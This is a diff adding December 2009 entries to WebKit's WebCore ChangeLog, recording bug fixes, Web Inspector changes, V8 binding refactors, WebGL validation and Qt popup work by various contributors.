+2009-12-16  Mark Rowe  <mrowe@apple.com>
+
+        Build fix.  Disable debug variants of WebKit frameworks.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-12-16  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        Right clicking in a table cell creates a selection that extends into the next cell.
+        <rdar://problem/5565465>
+        https://bugs.webkit.org/show_bug.cgi?id=32622
+        
+        Avoid extending the selection to the next cell if we start from an empty cell.
+
+        Test: editing/selection/empty-cell-right-click.html
+
+        * editing/TypingCommand.cpp:
+        (WebCore::TypingCommand::deleteKeyPressed): Replaced the code that check for empty table cell
+        with a call to the new function.
+        * editing/VisibleSelection.cpp:
+        (WebCore::VisibleSelection::setStartAndEndFromBaseAndExtentRespectingGranularity): Extends the
+        selection only if we are not starting from an empty table cell.
+        * editing/htmlediting.cpp:
+        (WebCore::isEmptyTableCell): Added a function since this check is performed now in two places.
+        * editing/htmlediting.h: Added isEmptyTableCell declaration.
+
+2009-12-16  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        feMerge crahses if feMergeNodes attribute in is empty
+        https://bugs.webkit.org/show_bug.cgi?id=32489
+
+        SVGFEMergeElement only stored pointers to all effects of it's nodes
+        in a list. But it should store the RefPtr otherwise the effects get
+        dereferenced and WebKit crashes.
+        I also made a short clean-up in SVGFilterBuilder. No change in
+        functionality.
+
+        Test: I updated svg/custom/empty-merge.svg to cover this problem.
+
+        * svg/SVGFEMergeElement.cpp:
+        (WebCore::SVGFEMergeElement::build):
+        * svg/graphics/filters/SVGFEMerge.cpp:
+        (WebCore::FEMerge::FEMerge):
+        (WebCore::FEMerge::create):
+        (WebCore::FEMerge::mergeInputs):
+        (WebCore::FEMerge::setMergeInputs):
+        * svg/graphics/filters/SVGFEMerge.h:
+        * svg/graphics/filters/SVGFilterBuilder.cpp:
+        (WebCore::SVGFilterBuilder::add):
+
+2009-12-16  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Part of <http://webkit.org/b/32568>.
+        Web Inspector: Context Menus should be used in more places.
+        
+        Add a context menu entry in the console to clear the console. This
+        is only shown when there is no user selection of text, because if
+        there is selection of the text, then we want to give the user the Copy +
+        Spell Check context menu that they are used to.
+
+        * English.lproj/localizedStrings.js: Added "Clear Console".
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._handleContextMenuEvent):
+
+2009-12-16  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Pavel Feldman.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=32621>.
+        Web Inspector: [REGRESSION (52095-52100)] Resources filter disappears when switching 
+        from / to resources panel.
+
+        Changed style in sidebar-resizer-vertical, because if the min-height was 100%, we start
+        to cover the scope bar.
+
+        * inspector/front-end/inspector.css:
+
+2009-12-16  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Switch all indexers to be generated.
+        https://bugs.webkit.org/show_bug.cgi?id=32569
+
+        Covered by existing tests.
+
+        * WebCore.gypi: Remove V8FileListCustom.cpp and V8ClientRecListCustom.cpp,
+            as they are now generated.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate): Remove customization of ClientRectList,
+            FileList, and DataGridColumnList templates.
+        * bindings/v8/custom/V8ClientRectListCustom.cpp: Removed.
+        * bindings/v8/custom/V8CustomBinding.h: Remove custom indexer getter decls.
+        * bindings/v8/custom/V8DataGridColumnListCustom.cpp: Remove indexer getter definition.
+        * bindings/v8/custom/V8FileListCustom.cpp: Removed.
+
+2009-12-16  anton muhin  <antonm@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        [dom] make dom/Node.cpp compile if DUMP_NODE_STATISTICS is on
+        https://bugs.webkit.org/show_bug.cgi?id=32617
+
+        * dom/Node.cpp:
+        (WebCore::Node::dumpStatistics):
+
+2009-12-16  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [V8] There is no such thing as HTMLSelectElementCollection.
+        https://bugs.webkit.org/show_bug.cgi?id=32616
+
+        Refactoring, covered by existing tests.
+
+        * WebCore.gypi: Removed V8HTMLSelectElementCollectionCustom.cpp
+        * bindings/v8/V8Collection.h: Removed one-off template.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate): Renamed all references to HTMLSelectElementCollection
+            to HTMLSelectElement.
+        * bindings/v8/custom/V8CustomBinding.h: Renamed custom indexer decls.
+        * bindings/v8/custom/V8HTMLSelectElementCollectionCustom.cpp: Removed.
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp: Moved code as-is from
+            V8HTMLSelectElementCollectionCustom.cpp
+
+2009-12-16  Dan Winship  <danw@gnome.org>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [Gtk] Content-Encoding support
+
+        https://bugs.webkit.org/show_bug.cgi?id=25855
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::startHttp): Don't force "Accept-Encoding: identity" any
+        more
+
+2009-12-16  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Darin Adler.
+
+        Get rid of the phase argument to Image::drawPattern.
+        https://bugs.webkit.org/show_bug.cgi?id=31187
+
+        The argument can be expressed equally well as part of the
+        patternTransform. All backends but the Qt one did exactly that
+        manually anyway.
+
+        * platform/graphics/BitmapImage.h:
+        * platform/graphics/GeneratedImage.cpp:
+        (WebCore::GeneratedImage::drawPattern):
+        * platform/graphics/GeneratedImage.h:
+        * platform/graphics/Image.cpp:
+        (WebCore::Image::drawTiled):
+        * platform/graphics/Image.h:
+        * platform/graphics/cairo/ImageCairo.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/cg/ImageCG.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/haiku/ImageHaiku.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/qt/ImageQt.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/skia/ImageSkia.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::drawBitmapPattern):
+        * platform/graphics/wince/ImageBufferWince.cpp:
+        (WebCore::):
+        (WebCore::BufferedImage::drawPattern):
+        * platform/graphics/wx/ImageWx.cpp:
+        (WebCore::BitmapImage::drawPattern):
+        (WebCore::Image::drawPattern):
+
+2009-12-16  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Performance problems with index validation code for drawElements
+        https://bugs.webkit.org/show_bug.cgi?id=32466
+
+        Added a cache of the maximum index for each element type to
+        WebGLBuffer, querying it before iterating through the indices in
+        the client-side copy of the buffer's data. Hoisted checks of the
+        size of the element array itself into validateElementArraySize to
+        avoid duplicating code.
+
+        The performance improvement has been measured with manual tests.
+        Existing layout tests cover the index validation functionality
+        and continue to pass as before.
+
+        * html/canvas/WebGLBuffer.cpp:
+        (WebCore::WebGLBuffer::WebGLBuffer):
+        (WebCore::WebGLBuffer::associateBufferData):
+        (WebCore::WebGLBuffer::associateBufferSubData):
+        (WebCore::WebGLBuffer::getCachedMaxIndex):
+        (WebCore::WebGLBuffer::setCachedMaxIndex):
+        (WebCore::WebGLBuffer::clearCachedMaxIndices):
+        * html/canvas/WebGLBuffer.h:
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::validateElementArraySize):
+        (WebCore::WebGLRenderingContext::validateIndexArrayConservative):
+        (WebCore::WebGLRenderingContext::validateIndexArrayPrecise):
+        (WebCore::WebGLRenderingContext::validateRenderingState):
+        (WebCore::WebGLRenderingContext::drawElements):
+        * html/canvas/WebGLRenderingContext.h:
+
+2009-12-16  Zelidrag Hornung  <zelidrag@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32261
+        Added ability to separate the autocomplete suggestion previewing from
+        the actual accepting of the suggested value in HTMLInputElement.
+        This element (it's single line text incarnation) can now
+        be put in suggestion mode where renderer might display the suggested
+        value without making it automatically exposed to JavaScript.
+
+        No new tests. This new methods are not exposed yet. It's use will be
+        platform specific. PopupMenu and Chromium specific changes will be
+        separated based on Darin Adler's comments.
+
+        * dom/InputElement.h:
+        (WebCore::InputElementData::suggestedValue):
+        (WebCore::InputElementData::setSuggestedValue):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::suggestedValue):
+        (WebCore::HTMLInputElement::setSuggestedValue):
+        (WebCore::HTMLInputElement::setValue):
+        (WebCore::HTMLInputElement::setValueFromRenderer):
+        * html/HTMLInputElement.h:
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::updateFromElement):
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::suggestedValue):
+        * wml/WMLInputElement.h:
+
+2009-12-16  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Make Elements tree, properties section and resources
+        view monospace.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32609
+
+        * inspector/front-end/ElementsPanel.js:
+        * inspector/front-end/PropertiesSection.js:
+        (WebInspector.PropertiesSection):
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView):
+        * inspector/front-end/inspector.css:
+
+2009-12-16  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        sourceGraphic wrong if positive x,y is >0 and objectBB is selected on Filter
+        https://bugs.webkit.org/show_bug.cgi?id=32575
+
+        On SVG Filters, the rest of the source graphic gets clipped to the filter
+        rest. This helps us to minimize the size of intermediate ImageBuffers. If
+        the position moves to the right or to the bottom, we have to adjust the
+        GraphicContext of this intermediate ImageBuffer.
+        This patch fixes the adjustment of the context, according to the clipping.
+
+        Test: svg/filters/filter-source-position.svg
+
+        * svg/graphics/SVGResourceFilter.cpp:
+        (WebCore::SVGResourceFilter::prepareFilter):
+
+2009-12-16  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        CrashTracer: [USER] 1 crash in Safari at com.apple.WebCore: WebCore::endsOfNodeAreVisuallyDistinctPositions + 115
+        <rdar://problem/7467108>
+        https://bugs.webkit.org/show_bug.cgi?id=32590
+
+        If the element is a button there is no need to look at the children to calculate the caret position.
+        
+        Test: editing/selection/button-right-click.html
+
+        * dom/Position.cpp:
+        (WebCore::Position::getInlineBoxAndOffset): Avoid calling recursively this method,
+        when starting from a button element.
+
+2009-12-16  Luiz Agostini  <luiz.agostini@openbossa.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Implement combobox delegate for Qt
+        https://bugs.webkit.org/show_bug.cgi?id=32550
+
+        Refactoring of class QWebPopup.
+
+        Class QWebPopup has been split in QtAbstractWebPopup and QtFallbackWebPopup.
+        Both new classes are now in corresponding files and files QWebPopup.* have been removed.
+
+        Custom combo popup classes will inherit from QtAbstractWebPopup. It is not the public API as it is
+        in WebCore and will not be visible by users of QtWebKit. It will be used in implementation of
+        public QtWebKit combobox popup delegation API.
+
+        Class QtFallbackWebPopup inherits from QtAbstractWebPopup and implements the currently used combobox popup.
+        It needs to be improved to provide standard features that are missing like style or indentation.
+
+        No behavior changes.
+
+        * WebCore.pro:
+        * platform/PopupMenu.h:
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::PopupMenu):
+        * platform/qt/QWebPopup.cpp: Removed.
+        * platform/qt/QWebPopup.h: Removed.
+        * platform/qt/QtAbstractWebPopup.cpp: Added.
+        (WebCore::QtAbstractWebPopup::QtAbstractWebPopup):
+        (WebCore::QtAbstractWebPopup::~QtAbstractWebPopup):
+        (WebCore::QtAbstractWebPopup::client):
+        * platform/qt/QtAbstractWebPopup.h: Added.
+        * platform/qt/QtFallbackWebPopup.cpp: Added.
+        (WebCore::QtFallbackWebPopup::QtFallbackWebPopup):
+        (WebCore::QtFallbackWebPopup::show):
+        (WebCore::QtFallbackWebPopup::populate):
+        (WebCore::QtFallbackWebPopup::showPopup):
+        (WebCore::QtFallbackWebPopup::hidePopup):
+        (WebCore::QtFallbackWebPopup::activeChanged):
+        * platform/qt/QtFallbackWebPopup.h: Added.
+        (WebCore::QtFallbackWebPopup::hide):
+
+2009-12-15  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: beautify HTTP info section.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32583
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView):
+        (WebInspector.ResourceView.prototype._refreshURL):
+        (WebInspector.ResourceView.prototype._refreshHTTPInformation):
+        * inspector/front-end/inspector.css:
+
+2009-12-13  Roland Steiner  <rolandsteiner@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fix crash when encountering illegal HTML within a continuation inside <ruby>.
+        (https://bugs.webkit.org/show_bug.cgi?id=32316)
+
+        Avoid having the anonymous blocks utilized in the ruby renderers being
+        re-used as continuation blocks.
+        Avoid having ruby runs collected as "leftover blocks".
+
+        Test: fast/ruby/ruby-illegal.html
+
+        * rendering/RenderRuby.h:
+        (WebCore::RenderRubyAsInline::removeLeftoverAnonymousBlock): mustn't be called
+        (WebCore::RenderRubyAsInline::isRuby): made private
+        (WebCore::RenderRubyAsInline::renderName): made private
+        (WebCore::RenderRubyAsInline::createsAnonymousWrapper): return true
+        (WebCore::RenderRubyAsBlock::removeLeftoverAnonymousBlock): mustn't be called
+        (WebCore::RenderRubyAsBlock::isRuby): made private
+        (WebCore::RenderRubyAsBlock::renderName): made private
+        (WebCore::RenderRubyAsBlock::createsAnonymousWrapper): return true
+        * rendering/RenderRubyRun.h:
+        (WebCore::RenderRubyRun::removeLeftoverAnonymousBlock): avoid
+        (WebCore::RenderRubyRun::isRubyRun): made private
+        (WebCore::RenderRubyRun::renderName): made private
+        (WebCore::RenderRubyRun::createsAnonymousWrapper): return true
+
+2009-12-15  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Rename skipCanLoadCheck to skipSecurityCheck in a bunch of places in WebCore/loader.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32529
+
+        * loader/Cache.cpp:
+        (WebCore::Cache::requestUserCSSStyleSheet):
+        * loader/CachedImage.cpp:
+        (WebCore::CachedImage::load):
+        * loader/CachedResource.cpp:
+        (WebCore::CachedResource::load):
+        * loader/CachedResource.h:
+        (WebCore::CachedResource::load):
+        * loader/DocumentThreadableLoader.cpp:
+        (WebCore::DocumentThreadableLoader::DocumentThreadableLoader):
+        (WebCore::DocumentThreadableLoader::makeSimpleCrossOriginAccessRequest):
+        (WebCore::DocumentThreadableLoader::makeCrossOriginAccessRequestWithPreflight):
+        (WebCore::DocumentThreadableLoader::preflightSuccess):
+        (WebCore::DocumentThreadableLoader::loadRequest):
+        * loader/DocumentThreadableLoader.h:
+        * loader/FrameLoaderTypes.h:
+        (WebCore::):
+        * loader/Request.cpp:
+        (WebCore::Request::Request):
+        * loader/Request.h:
+        (WebCore::Request::shouldDoSecurityCheck):
+        * loader/SubresourceLoader.cpp:
+        (WebCore::SubresourceLoader::create):
+        * loader/SubresourceLoader.h:
+        * loader/loader.cpp:
+        (WebCore::Loader::load):
+        (WebCore::Loader::Host::servePendingRequests):
+        * loader/loader.h:
+
+2009-12-15  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7470452> Safari/Chromium crashes on complicated @font-face rule
+        https://bugs.webkit.org/show_bug.cgi?id=32257
+
+        Test: fast/css/font-face-unused-source-loaded.html
+
+        The loading of a font resource caused a CSSFontFace that had the resource in one of its
+        sources, but wasn’t using it (due to using an earlier source) to invalidate its
+        CSSSegmentedFontFaces. This caused FontData for the active source (the one that did not just
+        finish loading) to be deleted, but that went unnoticed by Font::operator==(), since the
+        corresponding FontFallbackLists were not in the loading state. The fix is for CSSFontFace to
+        ignore loads from unused sources.
+
+        * css/CSSFontFace.cpp:
+        (WebCore::CSSFontFace::fontLoaded): Bail out if the loaded source is not the active source.
+        (WebCore::CSSFontFace::getFontData): Set m_activeSource to the source that supplied the
+            FontData.
+        * css/CSSFontFace.h:
+        (WebCore::CSSFontFace::CSSFontFace): Initialize m_activeSource.
+
+2009-12-15  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Cannot load flash files from a local file.
+        https://bugs.webkit.org/show_bug.cgi?id=32572
+
+        When loading the main resource and its mime type is application/octet-stream,
+        use the file extenstion to check if it is a supported plugin.
+
+        No new tests were added since any existing swf file can be used as a manual test.
+
+        * loader/MainResourceLoader.cpp:
+        (WebCore::MainResourceLoader::didReceiveResponse):
+        * loader/MainResourceLoader.h:
+        * plugins/PluginDatabase.h:
+
+2009-12-15  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=18498>.
+        REGRESSION: Tips are not shown for resources anymore.
+        
+        As discussed in the bug, Tips are not coming back, and the feature
+        will be moved to the audits panel. This patch is to remove the Tips
+        code and the resources that it needed.
+
+        * WebCore.gypi: Removed tips files.
+        * inspector/front-end/Images/tipBalloon.png: Removed.
+        * inspector/front-end/Images/tipBalloonBottom.png: Removed.
+        * inspector/front-end/Images/tipIcon.png: Removed.
+        * inspector/front-end/Images/tipIconPressed.png: Removed.
+        * inspector/front-end/Resource.js: Removed tips code.
+        (WebInspector.Resource.prototype.set finished): 
+        * inspector/front-end/WebKit.qrc: Removed tips files.
+        * inspector/front-end/inspector.css: Removes tips style rules.
+        
+2009-12-15  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Display request headers for main resource
+        having redirects.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32577
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::identifierForInitialRequest):
+        (WebCore::InspectorController::willSendRequest):
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::InspectorResource):
+        (WebCore::InspectorResource::appendRedirect):
+        (WebCore::InspectorResource::createCached):
+        (WebCore::InspectorResource::updateRequest):
+        * inspector/InspectorResource.h:
+        (WebCore::InspectorResource::create):
+
+2009-12-15  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Fixes <https://bugs.webkit.org/show_bug.cgi?id=32578>.
+        Web Inspector: No Need for ?="" now that we have context menus.
+        
+        Remove the toggleNewAttributeButton function and callers to it, as
+        we don't need this behavior anymore, now that we have context menus.
+
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype.set hovered):
+        (WebInspector.ElementsTreeElement.prototype.toggleNewAttributeButton):
+        (WebInspector.ElementsTreeElement.prototype._startEditing):
+
+2009-12-15  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [V8] Generate trivial named property getters.
+        https://bugs.webkit.org/show_bug.cgi?id=32562
+
+        Covered by existing tests.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Added GenerateImplementationNamedPropertyGetter.
+        * bindings/v8/V8Collection.h:
+        (WebCore::getNamedPropertyOfCollection): Fixed a booboo by using AtomicString like we're supposed to.
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate): Removed code that's now generated.
+
+2009-12-15  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Part of <http://webkit.org/b/32568>.
+        New Web Inspector: The Context Menu should be used in more places.
+        
+        Add support for context menu entries for editing and deleting elements
+        in the datagrid. This gives support to deleting cookies, and editing and
+        deleting session storage and local storage.
+
+        * English.lproj/localizedStrings.js: Added "Edit" and "Add New" entries (delete was already there)
+        * inspector/front-end/DataGrid.js:
+        (WebInspector.DataGrid): Added context menu listener.
+        (WebInspector.DataGrid.prototype._contextMenuInDataTable):
+
+2009-12-15  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Don't allow default framebuffer to be mutated
+        https://bugs.webkit.org/show_bug.cgi?id=32391
+
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::framebufferRenderbuffer):
+        (WebCore::WebGLRenderingContext::framebufferTexture2D):
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::bindFramebuffer):
+
+2009-12-15  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for FontPlatformDataCacheKey class
+        https://bugs.webkit.org/show_bug.cgi?id=32552
+
+        Inherits the following struct from FastAllocBase because it is instantiated by 'new':
+
+        struct name                     - instantiated at: WebCore/'location'
+        struct FontPlatformDataCacheKey - platform/graphics/FontCache.cpp:118
+
+        * platform/graphics/FontCache.cpp:
+
+2009-12-15  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Bug 31090 - [Chromium] Add DownloadURL format to Chromium clipboard.
+        https://bugs.webkit.org/show_bug.cgi?id=31090
+
+        The proposal to whatwg can be found here:
+        http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2009-August/022118.html
+
+        * platform/chromium/ChromiumDataObject.cpp:
+        (WebCore::ChromiumDataObject::clear):
+        (WebCore::ChromiumDataObject::hasData):
+        (WebCore::ChromiumDataObject::ChromiumDataObject):
+        * platform/chromium/ChromiumDataObject.h:
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::):
+        (WebCore::clipboardTypeFromMIMEType):
+        (WebCore::ClipboardChromium::setData):
+
+2009-12-15  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        WAI-ARIA: implement treegrid
+        https://bugs.webkit.org/show_bug.cgi?id=31299
+
+        Test: platform/mac/accessibility/aria-treegrid.html
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::getOrCreate):
+        * accessibility/AccessibilityARIAGrid.h:
+        (WebCore::AccessibilityARIAGrid::supportsSelectedRows):
+        * accessibility/AccessibilityARIAGridRow.cpp:
+        (WebCore::AccessibilityARIAGridRow::isARIATreeGridRow):
+        (WebCore::AccessibilityARIAGridRow::disclosedRows):
+        (WebCore::AccessibilityARIAGridRow::disclosedByRow):
+        * accessibility/AccessibilityARIAGridRow.h:
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::createARIARoleMap):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::):
+        (WebCore::AccessibilityObject::isARIATreeGridRow):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::isMultiSelectable):
+        (WebCore::AccessibilityRenderObject::setIsExpanded):
+        (WebCore::AccessibilityRenderObject::setSelectedRows):
+        (WebCore::AccessibilityRenderObject::ariaSelectedRows):
+        (WebCore::AccessibilityRenderObject::ariaListboxSelectedChildren):
+        (WebCore::AccessibilityRenderObject::selectedChildren):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/AccessibilityTable.h:
+        (WebCore::AccessibilityTable::supportsSelectedRows):
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper additionalAccessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        (-[AccessibilityObjectWrapper accessibilitySetValue:forAttribute:]):
+
+2009-12-15  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for EmptyEditorClient and EmptyInspectorClient
+        https://bugs.webkit.org/show_bug.cgi?id=32557
+
+        Inherits the following classes from Noncopyable because these are instantiated
+        by 'new' and no need to be copyable:
+
+        class name                 - instantiated at: WebCore/'location'
+        class EmptyEditorClient    - svg/graphics/SVGImage.cpp:230
+        class EmptyInspectorClient - svg/graphics/SVGImage.cpp:241
+
+        * loader/EmptyClients.h:
+
+2009-12-15  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore/inspector directory's classes
+        https://bugs.webkit.org/show_bug.cgi?id=32556
+
+        Inherits the following class from Noncopyable because these are instantiated
+        by 'new' and no need to be copyable:
+
+        class name                   - instantiated at: WebCore/'location'
+        class InspectorFrontend      - inspector/InspectorController.cpp:538
+        class InspectorTimelineAgent - inspector/InspectorController.cpp:1097
+
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorTimelineAgent.h:
+
+2009-12-15  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore/platform/network directory's classes
+        https://bugs.webkit.org/show_bug.cgi?id=32553
+
+        Inherits the following class from Noncopyable because it is instantiated
+        by 'new' and no need to be copyable:
+
+        class/struct name                      - instantiated at: WebCore/'location'
+
+        struct CrossThreadResourceResponseData - platform/network/ResourceResponseBase.cpp:109
+
+        Inherits the following classes from FastAllocBase because these are
+        instantiated by 'new':
+
+        class ResourceResponseBase - (its child class) platform/network/ResourceResponseBase.cpp:90
+        class ResourceRequestBase  - (its child class) loader/DocumentThreadableLoader.cpp:88
+
+        * platform/network/ResourceRequestBase.h:
+        * platform/network/ResourceResponseBase.h:
+
+2009-12-15  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for AnimationControllerPrivate and FillLayerPropertyWrapperGetter
+        https://bugs.webkit.org/show_bug.cgi?id=32549
+
+        Inherits AnimationControllerPrivate and FillLayerPropertyWrapperGetter
+        classes from Noncopyable because these are instantiated by 'new' and no need to be copyable:
+
+        class/struct name              - instantiated at: WebCore/'location'
+
+        AnimationControllerPrivate     - page/animation/AnimationController.cpp:439
+        FillLayerPropertyWrapperGetter - (its child class) page/animation/AnimationBase.cpp:464
+
+        * page/animation/AnimationBase.cpp:
+        * page/animation/AnimationControllerPrivate.h:
+
+2009-12-15  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Do not lose HTTP redirect information, display it
+        in the Resources Panel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32551
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::didLoadResourceFromMemoryCache):
+        (WebCore::InspectorController::identifierForInitialRequest):
+        (WebCore::InspectorController::willSendRequest):
+        (WebCore::InspectorController::didReceiveResponse):
+        (WebCore::InspectorController::didReceiveContentLength):
+        (WebCore::InspectorController::didFinishLoading):
+        (WebCore::InspectorController::didFailLoading):
+        * inspector/InspectorFrontend.cpp:
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::InspectorResource):
+        (WebCore::InspectorResource::appendRedirect):
+        (WebCore::InspectorResource::updateScriptObject):
+        (WebCore::InspectorResource::releaseScriptObject):
+        (WebCore::InspectorResource::type):
+        * inspector/InspectorResource.h:
+        (WebCore::InspectorResource::):
+        (WebCore::InspectorResource::Changes::setAll):
+        * inspector/front-end/inspector.js:
+        (WebInspector._addResource):
+        (WebInspector.updateResource):
+
+2009-12-15  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Followup for direct signals and slots connections in QNetworkReplyHandler
+        https://bugs.webkit.org/show_bug.cgi?id=32113
+
+        For Qt versions prior to 4.6.1 we will need to use QueuedConnection
+        for the signal and slot connection to avoid running into a bug in.
+
+        Add a comment that we want to remove one signal to forward
+        queued items when moving our minimum requirements.
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::start):
+
+2009-12-14  Holger Hans Peter Freyther  <zecke@selfish.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Add manual test for JavaScript prompt corner case
+        https://bugs.webkit.org/show_bug.cgi?id=30914
+
+        The patch is based on the work done by Gupta Manish.
+
+        Verify behavior of the JavaScript prompt function. Currently
+        Qt is not behaving like other WebKit ports and Firefox in
+        regards to accepting the prompt but not entering a text.
+
+        * manual-tests/qt/java-script-prompt.html: Added.
+
+2009-12-15  Luiz Agostini  <luiz.agostini@openbossa.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Moving list populate methods from PopupMenuQt to QWebPopup.
+        
+        In preparation to future implementation of a delegation API for the combobox.
+
+        * platform/PopupMenu.h:
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::show):
+        (WebCore::PopupMenu::hide):
+        * platform/qt/QWebPopup.cpp:
+        (WebCore::QWebPopup::show):
+        (WebCore::QWebPopup::populate):
+        * platform/qt/QWebPopup.h:
+        (WebCore::QWebPopup::hide):
+
+2009-12-15  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Extract WebInspector.Section from WebInspector.PropertiesSection.
+        https://bugs.webkit.org/show_bug.cgi?id=32523
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/PropertiesSection.js:
+        (WebInspector.PropertiesSection):
+        * inspector/front-end/Section.js: Added.
+        (WebInspector.Section):
+        (WebInspector.Section.prototype.get title):
+        (WebInspector.Section.prototype.set title):
+        (WebInspector.Section.prototype.get subtitle):
+        (WebInspector.Section.prototype.set subtitle):
+        (WebInspector.Section.prototype.get expanded):
+        (WebInspector.Section.prototype.set expanded):
